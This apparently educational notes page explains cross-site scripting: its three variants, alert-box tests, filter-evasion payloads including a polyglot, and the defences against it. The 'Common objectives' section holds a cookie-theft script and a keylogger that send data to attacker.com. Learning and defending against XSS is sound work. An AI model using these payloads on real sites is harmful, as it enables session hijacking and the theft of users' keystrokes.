Cross-Site Scripting (XSS)

Cross-site scripting is a code-injection vulnerability class in which an attacker causes a victim’s browser to execute attacker-controlled JavaScript in the security context of a trusted origin. XSS bypasses the same-origin policy by making the malicious script indistinguishable from legitimate page content. 1

OWASP classifies XSS as an injection attack and lists it in the Top 10 under “A03:2021 – Injection.” The three canonical variants are reflected, stored, and DOM-based.

Types of XSS

TypeWhere the payload livesExecution trigger
ReflectedURL, form input, or request bodyServer echoes the payload back in the response
StoredServer-side database, comment field, profileAny user who views the stored content
DOM-basedClient-side JavaScript sinksClient-side script writes untrusted data into the DOM

With reflected and stored XSS, the server embeds the attack into the rendered page. With DOM-based XSS, the client inserts the malicious JavaScript (even if the data originally came from the server). Ask: “Did the server put it there, or did my client put it there?” 2

Basic proof-of-concept

The canonical alert box:

<script>alert('XSS');</script>

A less intrusive test uses DOM manipulation:

<script>
    xssTest = document.querySelector("h1");
    xssTest.innerHTML = "XSS was here!";
</script>

Filter evasion techniques

Quote breaking

Break out of the context you’re injected into:

  • "> — escape an HTML attribute
  • </pre> or </textarea> — escape preformatted blocks
  • '; followed by ;// — escape inline JavaScript

Note: <script> tags cannot be injected into inline JavaScript because HTML parsers greedily match </script>.

Single-pass filter bypass

Many regex filters run only once. <s<script>cript> and </s</script>cript> become <script> after the inner tag is stripped. This fails against filters that remove single characters (< and >).

Case sensitivity tricks

JavaScript is case-sensitive, but HTML tags, attributes, and URL schemes are not:

  • javaSCRIPT:javascript:
  • ONCLICKonclick

Polyglot payloads

Strings designed to execute in multiple contexts simultaneously. A lightly modified TryHackMe example:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!><sVg/<sVg/oNloAd=alert('XSS')//>>

String fragmentation

Break up filtered keywords:

alert("H" + "ello")
eval("a" + "lert")("Hello")
window["a" + "lert"]("Hello")

For extreme filtering, use JSFuck — an esoteric subset of JavaScript using only []()!+.

iframe and img injection

The javascript: pseudo-protocol works in src attributes:

<iframe src="javascript:alert('XSS');"/>
<img src="javascript:alert('XSS');"/>

JavaScript in an <iframe> does not have access to the parent page’s DOM.

User-interaction fallbacks

javascript: URIs in anchor href or event attributes (onmouseover, onclick) require user interaction:

<a href="javascript:alert('XSS')">Click me</a>

Common objectives

<script>
    fetch('https://attacker.com/log?cookie=' + btoa(document.cookie));
</script>

Keylogging

<script>
    document.onkeypress = function(e) {
        fetch('https://attacker.com/log?cookie=' + btoa(document.cookie)
              + '&keypress=' + btoa(e.key));
    }
</script>

Including cookies lets the attacker correlate keystrokes to victims.

Port scanning

JavaScript can infer open ports by timing image loads or fetch requests. See aabeling/portscan for an example.

Website defacement

Use document.getElementById() or document.querySelector() to locate elements, then modify innerHTML (HTML) or textContent (plain text). Note: <script> tags inserted via innerHTML are not executed by the HTML parser.

Defenses

The core defense is contextual output encoding:

  • Data passed to JavaScript must be JavaScript-escaped.
  • Data written into the DOM must be HTML-escaped.
  • Know which context your data is in, and escape when crossing boundaries.

Additional controls:

  • Content Security Policy (CSP) — restrict script sources and inline execution
  • HttpOnly cookies — prevent document.cookie access
  • Trusted Types — browser-enforced DOM sink sanitization
  • Framework auto-escaping — React, Angular, and Vue escape by default

Sources

See also

Footnotes

  1. Cross-Site Scripting (XSS) — OWASP

  2. Cross-Site Scripting (XSS) — OWASP